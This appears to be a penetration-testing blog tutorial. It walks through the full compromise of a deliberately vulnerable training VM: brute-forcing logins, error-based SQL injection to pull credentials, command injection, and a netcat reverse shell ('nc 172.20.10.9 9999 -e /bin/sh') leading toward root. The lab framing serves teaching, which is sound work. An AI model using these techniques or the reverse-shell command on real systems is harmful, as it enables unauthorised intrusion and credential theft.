Getting Root Access to Web Servers
I’ve written previously about How To Become a Penetration Tester, listing things that employers would like to see out of potential junior testers. I’ve written an awful lot about many web application vulnerabilities like Cross-site Scripting and Directory Traversal; I’ve even written about the methodology behind External Penetration Testing. However – until now I’ve not tied all of the little pieces together. Plus, one of the biggest things on the list of desirables for a junior testers CV is practise.
So for that, I created the GracefulSecurity Vulnerable VM, code-named “Seattle”. In this article I’d like to take you through a full web application assessment for this application. I don’t intend to list each vulnerability and how to exploit it – this isn’t going to be a complete walk through. I would however like to show you the path from installing the VM and toolset right up to a complete compromise of the server. Giving enough detail that you should be able to follow along, without being a step-by-step list of spoilers.
I’ll break the article down in to sections, so if you’ve already got the VM up and running, or if you’re happy with the basics of the methodology then feel free to later sections.
This will be a long one, so first of all start downloading the VM and go make yourself a coffee.
The Seattle web server comes as an OVA file which means it should run fine on many different platforms and hypervisors. For this example I’ll be using Fedora Security Lab as my “Hacking” machine and I’ll be using VirtualBox to run the Seattle VM.
You can install VirtualBox from the downloaded RPM with a command such as:
sudo dnf install Downloads/VirtualBox-*.rpm
Once you’ve installed that, extract your copy of Seattle like this – (I’m writing this with version 0.0.5):
7z x Downloads/Seattle-0.0.5.7z
This will extract the OVA file. Open up VirtualBox and hit:
File > Import Appliance
Give it the location the OVA file was extracted to (on my fedora installation it was placed into ~/Documents) and hit import. Once the import has completed hit Start! Once the VM has loaded you’ll be presented with the login screen. Which should look something like this:
Go ahead and connect to the IP address if you would like to test connectivity; If you’re having connectivity issues do note that Seattle is configured to respond to pings. Before I start hacking however, I’ll add Seattle to my hosts file so that I can refer to it by hostname. I added the following entries to my base OS /etc/hosts file:
172.20.10.2 www.seattlesounds.net 172.20.10.2 seattlesounds.net
Once you’ve done, check you can reach the target application:
Installing “Burp Suite”
For web application assessments my preferred tool is Burp Suite Professional. A free version of Burp Suite is available here and I do recommend you check it out; alternatively consider ZAP. For this walk-through I’ll be using Burp Free. For more information on using this tool I’ve got a whole write up here. If you’re new to Burp Suite I highly recommend you read that write up as a prerequisite to this article. In short, it’s a man-in-the-middle proxy that allows you to track, modify and replay HTTP requests to a server making the process of assessing a web application much more efficient.
Running Burp for the first time is pretty simple, I use the “plain jar” version:
java -jar Downloads/burpsuite_free_v1.7.10.jar
I’ll be using a temporary project, which gives this:
Hooking Firefox in to Burp
When I perform Penetration Testing I hook the Firefox browser in to Burp Suite. I leave Chrome connected directly to the Internet in case I need to do any quick Googling or diagnose a connection issue.
You’ll need to set Firefox’s proxy options to connect to Burp, which by default uses 127.0.0.1:808 by default. I recommend using FoxyProxy for this, as documented here, but if you prefer to do it the old fashioned way you can find proxy options under:
Preferences > Advanced > Network > Settings
You can just set “All protocols” to 127.0.0.1 port 8080.
When you try and access any page in your Firefox browser now it’ll capture it with Burp Suite intercept, which is enabled by default:
Go ahead and turn intercept off for now. Let’s start testing!
We’ll move through the following stages of assessment:
- Enumeration and Mapping
- Vulnerability Discovery
- Privilege Escalation and Lateral Movement
- Cleanup and Evidence Removal
Mapping the Application
Before we can discover software vulnerabilities in the attack surface of the target application we must understand what functions the application exposes to allow us to flex them. Before we start exploring functionality though, I recommend you define a scope within Burp Suite, to keep the interface clean. This can be done under Target > Scope, like this:
The simplest way to map an application is to Spider it. Spidering is effectively just hitting every hyperlink on the site and keeping track of which pages are available. It should find all unauthenticated linked content. However won’t by default find content behind authentication – that’s quite easy to solve through user-directed spidering. Effectively this is simply logging in to the application allowing Burp to view the session cookie – we’re getting ahead of ourselves though. Spidering is something that will be done continuously throughout the assessment as new content is discovered. You can spider the application by right clicking the app in the Target window and hitting “Spider this host”:
Spidering, either automatic or user-driven, will only reveal “linked” content though, there could be an awful lot on the server which isn’t directly link to – such as archived content, administrative functions, backups, and logs. To find this content you can use the Pro function “Discover content” within Burp Suite, you could use an external tool such as dirb, or you can use Burp Intruder.
To use Intruder, right click the index page of the target application and select “Send to Intruder”, move to the positions tab. Then clear the input notation (§) and place two notations to the right of the resource to be requested. This should give you something like this:
This will allow you, using the “Payloads” tab to specify a list of files and folders for Burp to attempt to locate – here we’re aiming to find additional functions that are not linked to. You’ll need a list of potential files to request though – so try these for starters. Once you’ve loaded that file in to the Payload Options section of the Payloads tab just hit Start Attack.
This will give you something like this:
In the “Attack Window” you will no doubt see an awful lot of “404 File Not Found” responses, however if you find some new content it should be fairly obvious. Above you can see highlighted a discovered resource: /logs/. Discovered content is often useful as it may disclose system information, weaknesses or additional login interfaces such as administrative interfaces.
From here we can start attacking the application. The first port of call for me usually is to gain an initial user account as this often reveals additional functionality available within the application. Here this could be as simple as registering your own user account, however in some cases, where possible, gaining access to another user’s account may yield higher privileges.m Therefore vulnerabilities such as Broken Authentication, Missing Functional Level Access Control, Username Enumeration and Weak Credentials should be enumerated early on in the assessment. Especially as brute-forcing accounts can be incredibly time consuming, therefore if it’s possible it’s beneficial to discover them early on to allow the attack to be left running in the background whilst the assessor looks for more interesting attacks.
Gaining a User Account
During an engagement one of the first things I will attempt to discover is if any account lockout policy applies, paying particular attention to policies like “Observation Windows” which can reduce the protection offered through account lockout. A simple way to determine this would be to register an account on Seattle and attempt to login to your new account with a large number of incorrect passwords followed by the correct one – a login will occur which informs you there is no account lockout enforced.
Username Enumeration and Disclosure
If it’s possible to enumerate usernames with an application this will only serve to make any attempts at bruteforcing an account more efficient. There are generally two conditions which assist here. Username enumeration and username disclosure. The first, enumeration, is any function on the application which discloses if an account exists with a supplied email address. This is often seen in login boxes, password reset functions and registration pages – but where to get potential usernames? Two good and simple sources are recent data breaches and the application itself (Did you even read the terms and conditions? hint hint)
On the Seattle application there is a potential username on the terms.php page:
Now if you take that potential username and try it in authentication functions what do you get?
Here we can see Username Enumeration, we effectively have an oracle in the form of the login box, where we can supply potential usernames and if we get it wrong it informs us the username is incorrect – if we get a correct username it informs us the password is incorrect. This effectively allows us to whittle down a list of hundreds of thousands of potential usernames into a small efficient list of valid usernames to try with potential passwords.
There’s a more efficient method gathering usernames though, which is Username Disclosure through issues such as Insecure Direct Object Reference. For example, take a look at the blog posts saved on the application. Here’s an example:
Here we’ve got another point of disclosure, you can see the username displayed on the top line of the above output. More interestingly however see the URL?
What happens if you change that to 1, 2, 3, etc? You could even load that URL in to Intruder how we did for content discovery, but supply a list of numbers and have intruder cycle through potential user IDs for us! You should end up with a few usernames to play with.
Bruteforcing application accounts is fairly simple with Burp Suite in a similar manner to how we looked for “unlinked” content earlier. Simply capture a login attempt with Intercept and then “Send to Intruder”, as:
Once you’ve moved it over to Intruder, select the email address and password with the attack notation (§), set the attack type to “Cluster Bomb” and under Payloads set payload set one to the list of discovered email addresses and payload set to to a list of potential passwords! You’ve got password lists right? No? That’s just fine, try these.
With any luck, or at least a half decent password list, you should have of couple more accounts compromised. Bonus points if you manged to bruteforce the Admin, Tim and Holly accounts. Either way you should have at least one! If you’re struggling or impatient just register yourself an account and log in with that one for now. We’re aiming to escalate privileges and compromise as many accounts as possible, to do that this time we’re going to exploit the broken authentication system.
Compromising the Database
There are many ways to compromise additional accounts and propagate through Seattle, for example Cross-site Scripting (XSS,), SQL Injection (SQLi), and Directory Traversal. We’ll take a look at SQLi this time around. Now there are a few different ways of finding SQL injection vulnerabilities, I cover discovery in quite a lot of depth in my exploitation article, so I’ll just give a simple example here.
SQL injection is a vulnerability that occurs when user input is insecurely concatenated in to a database query. A simple method of detecting such issues is to add apostrophe characters in to all inputs on a web application to spot database errors. A database error such as “Unclosed quotation mark” which occurs when a supplied apostrophe character has a negative effect on the intended query. Indicating a vulnerability.
So why not throw some apostrophes around? Don’t forget to check your cookie values too. For example, what happens after a login if you replace your session token with an apostrophe character? Something like this:
Here the SessionId on the left has had an apostrophe concatenated on the end, causing an uneven number of quote marks in the underlying database query – resulting in the error seen on the right. Here we’ve altered the logic of the database query to cause an error; by altering the logic in more interesting ways we can cause confidential data to be extracted from the database. If you’re not quite as hot on your SQL knowledge, it helps to have a Cheat Sheet available!
So we can cause an error in the database and that error is displayed in the page body. Consider now if we can chose what type of error occurs and on what data, we could use it to extract information! For example, trying to process the output of a query as if it were XPath would cause an error and display the data the error is about. As shown:
If I’m moving a little fast for you here, I recommend you read SQL Injection Basics and SQL Injection Exploitation first. Above I’m showing how I can execute the sub-query (SELECT @@version) within an XML function to cause an error on the returned data and that error is shown in the response on the right, so the output of the SELECT @@version query is 10.0.23-MariaDB! Not bad for a proof of concept, but not the impact we were looking for. Instead we should hunt for credentials in the database.
To do that, we need to map the database itself. Taking a look at the aforementioned Cheat Sheet we can use a query like:
Here we managed to pull the first table in the Schema and discovered it was called ALL_PLUGINS. Not bad, but we’re limited to a single table at a time with this method of extraction. There are a few ways around this, one trick is to use LIMIT. Like this:
Therefore I can just change LIMIT 1,1 to 2,1 then 3,1 then 4,1 etc to pull table names out! For bonus points take a look at feeding this in to Intruder with a Payload Type of Numbers. For extra extra points use Intruder’s “GREP – Extract” option to get results like this:
Here you can see I’ve automated, through intruder, the entire exploitation and ended up with a list of all tables! tblMembers certainly looks interesting. So does the query:
SELECT column_name FROM information_schema.columns WHERE table_name = 'tablename';
Which will no doubt assist you in determining what the columns available in the tblMembers table are. Which will lead you to a query something like this:
SELECT username,password FROM tblMembers LIMIT 1,1
Which is certainly going to be useful! However if you tried it, you’d get an error like this:
Boom! Push that back through Intruder and pull out all of the username and password combinations you can!
Compromising the Server
Now that we can definitely log in as an admin user, since we’ve got a selection of accounts to play with, you will no doubt notice a difference between privilege levels. With newly registered accounts having effectively no functions under their account page whilst administrative and blogging accounts have a collection of functions. Log in as “Holly” and take a look on your account page for “View Logs”. This might just be a good place to practice your Command Injection skills!
This one starts out blind, and if you’ve read the Command Injection article feel free to practice exploiting it in a blind fashion, however just so that you don’t have to jump in at the deep end I’ll show you a neat trick to make it a little simpler.
Just like with SQL Injection, Command Injection is a vulnerability that occurs because user input is insecurely concatenated on to a command to be executed. On the Seattle application the log viewer function is vulnerable to this issue. A good way to determine this is by supplying a payload such as:
(Note: those are “backticks” not apostrophes!)
See how the normally fast and responsive Seattle application suddenly delays, suspicious for 10 seconds longer than it did before? That’s because the sleep command executed. However if you try something like this:
You won’t necessarily get the desired effect! A good thing to attempt in these cases is something like this:
Here our input caused an error in execution, but the vulnerable PHP is only coded to show stdout not stderr. So we’re redirecting the error output to standard output and it’s revealed!
So it turns out we’re running as the apache user! Oh man, that’s like a pretty low privilege account…we’ve got some work to do.
We can now execute commands on the remote server, but a proper shell interface is much nicer. So set up a local netcat listener by running the following command on your attacker machine:
`nc -l 9999`
Find out what your attacker machine IP address is, mine is 172.20.10.9 and try a payload on Seattle like:
`nc 172.20.10.9 9999 -e /bin/sh`
This will cause the remote Seattle server to connect back to your attacker machine, and any input you supply to the terminal window running nc will be forwarded to the shell on the remote server, so if you run “uname -r” for example, your output would look like this:
Escalating to Root
The benefit of the previous shell command is that it outputs the current running version of the target Linux system and allows you to determine if it’s vulnerable to anything interesting. You could also use “ls” and “cat” to map the drive and find confidential files! However, uhh ohh, the server is vulnerable to a well known privilege escalation vulnerability. Dirty Cow. This is a privilege escalation vulnerability in the Linux kernel for which there is a fairly reliable exploit available. Downloading the source code from exploit db and compiling it locally is simple enough, there’s instructions in the exploit file itself.
However there’s a much simpler way to root the box. There’s an obvious root password! However, we can’t just simply SSH in to the box because although SSH is running, as shown:
Above we can see it running on port 22, but my nmap does not match up with this:
Now that you’re root you can simply run:
Then SSH over to the server!
Informing the Client
If this was a real Pen Test: Get the client on the phone, now. You just rooted their server from the Internet, and it wasn’t even that hard. Who says another attacker couldn’t do this? Whenever you’re able to cause a significant impact against the security of your client’s systems you shouldn’t make them wait a week for the formal report but should instead give them a hot debrief to let them know what was possible. Ensure that all communications of vulnerability details are done securely.
I generally give the client a call and inform them that I have something significant to tell them and that it should be done securely, then ask them how they would like me to transmit it, summarize the chain of exploitation as best as you can and ask them how they would like you to proceed in regards to the rest of the testing window.
Now it’s time to formalize all of the findings! Sadly every Penetration Test ends in report writing and it’s important to remember that effectively, the client isn’t really paying for the assessment they’re paying for the report. It doesn’t matter how good a tester you are if your reports aren’t clear, complete, and manageable. They should include not only individual vulnerability specifics but a solid write up on how the vulnerabilities could be chained together.
So what’s our score? Something like this:
- Exposed Log Files
- Insufficient Brute-force Protection
- Weak Credentials Permitted
- Administrative Account with Weak Credentials
- SQL Injection (Error Based)
- Command Injection
- Outdated Kernel
- Local Privilege Escalation
- SSH as Root possible
- SSH with Password possible